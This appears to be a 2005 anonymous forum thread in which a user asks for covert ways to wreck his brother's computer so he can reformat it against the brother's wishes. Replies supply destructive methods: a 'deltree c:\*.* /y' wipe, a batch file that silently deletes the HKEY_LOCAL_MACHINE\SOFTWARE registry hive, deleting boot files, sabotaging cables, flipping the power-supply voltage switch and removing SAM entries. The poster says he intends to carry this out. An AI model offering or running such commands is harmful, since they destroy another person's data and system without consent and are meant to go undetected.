Alright, this question may sound weird, but here me out:
I've been trying to set up a network in my home for about three months now, but my brother refuses to budge on his spyware-ridden, memory-drained, no-disk-space-having computer. He's using a Pentium 3 2.0GHz with 256MB of RAM. The only upgrade of any kind he has is the GeForce 4000 card I accidentially left in there, so he has a dual monitor set-up. He even has an external hard drive, but refuses to use it/reliquish it to anyone else.
I've watched Windows notify him endlessly about how his system files are corrupting, but he won't run any utility to check the disk for errors. I feel a need in helping Windows out in dying, so that I can just wipe the machine and put XP Pro on there so he won't complain. I'd use Linux, but he didn't like how it isn't Windows (I tried a LiveCD).
Does anyone has any crafty methods of getting his computer to just crap out COMPLETELY so I can just format it and have my merry way with it? Any inconspicuous methods will be greatly appreciated.
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Anonymous2005-10-02 13:11
deltree c:\*.* /y
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Anonymous2005-10-02 13:39
Seriously, if you've got the intelligence to set up a network you should have the intelligence to work out how to break a computer. See how he likes it if explorer.exe should happen to vanish...
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Anonymous2005-10-02 14:10
Boot up with some Linux live CD shit and delete some files.
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Anonymous2005-10-02 16:23
>>1 spyware-ridden, memory-drained, no-disk-space-having computer
Lol, serves him right for using Internet Explorer.
Does anyone has any crafty methods of getting his computer to just crap out COMPLETELY so I can just format it and have my merry way with it?
Tell him to use MSIE to browse porn sites.
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Dschingis Khan2005-10-02 17:31
If he's *really* dumb, unplug the IDE cable of his hard drive. If he's smart enough to get that, you can insure the operation by swapping in a bad cable. Extra credit: delete the boot.ini and ntoskrnl32
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Anonymous2005-10-02 21:53
Try issuing the following commands, possibly from a batch (.BAT/.CMD) file:
@echo REGEDIT4>lol.reg
@echo.>>lol.reg
@echo [-HKEY_LOCAL_MACHINE\SOFTWARE]>>lol.reg
@regedit /s lol.reg
@del lol.reg
I haven't tried that myself (obviously), but it could get software screwed up.
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Anonymous2005-10-02 21:58
An annoying way of killing a machine if you're in a 110V zone: flip the power supply's switch from 110 to 240V.
I had this done once to me in school, and it took a while to figure out. We (all geeks, BTW) thought the power supply had died.
If your zone is 240V, doing this might not be a good idea...
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Anonymous2005-10-02 22:49
Thanks guys. By this time tomorrow, he'll be wondering where his mp3s ran off to when he faces a BSOD (or something, too many crafty ideas).
You all get one internet.
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Anonymous2005-10-03 2:19
>>8
If you're in a 240V country, nothing will happen; the computer just won't start. In a 110V country, though, flipping the switch can fry the computer, although newer ones may sense the overload and shut down automatically.
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Anonymous2005-10-03 6:28
>>10
This happened back in 1998. 110V machine, didn't fry.
The reason we were so confused was because the leds would light, the drives and fans would spin up, but no POST would occur. Tsk.
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Anonymous2005-10-03 7:17
>>8 >>10 >>11
sadly, most new(especially totall OEM sytems like dell) power suplies dont have a switch now. they either only sell power suplies with the voltage for the area your in, or there auto sensing.
hell, ive seen cheap $15 brandless power suplies that were "full range" recently
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CCFreak2K!mgsA1X/tJA2005-10-03 15:07
You can use something like BartPE (a Windows XP live CD) to access the registry and delete some key entries, such as SAM entries, although I've never actually used a registry editor in BartPE yet.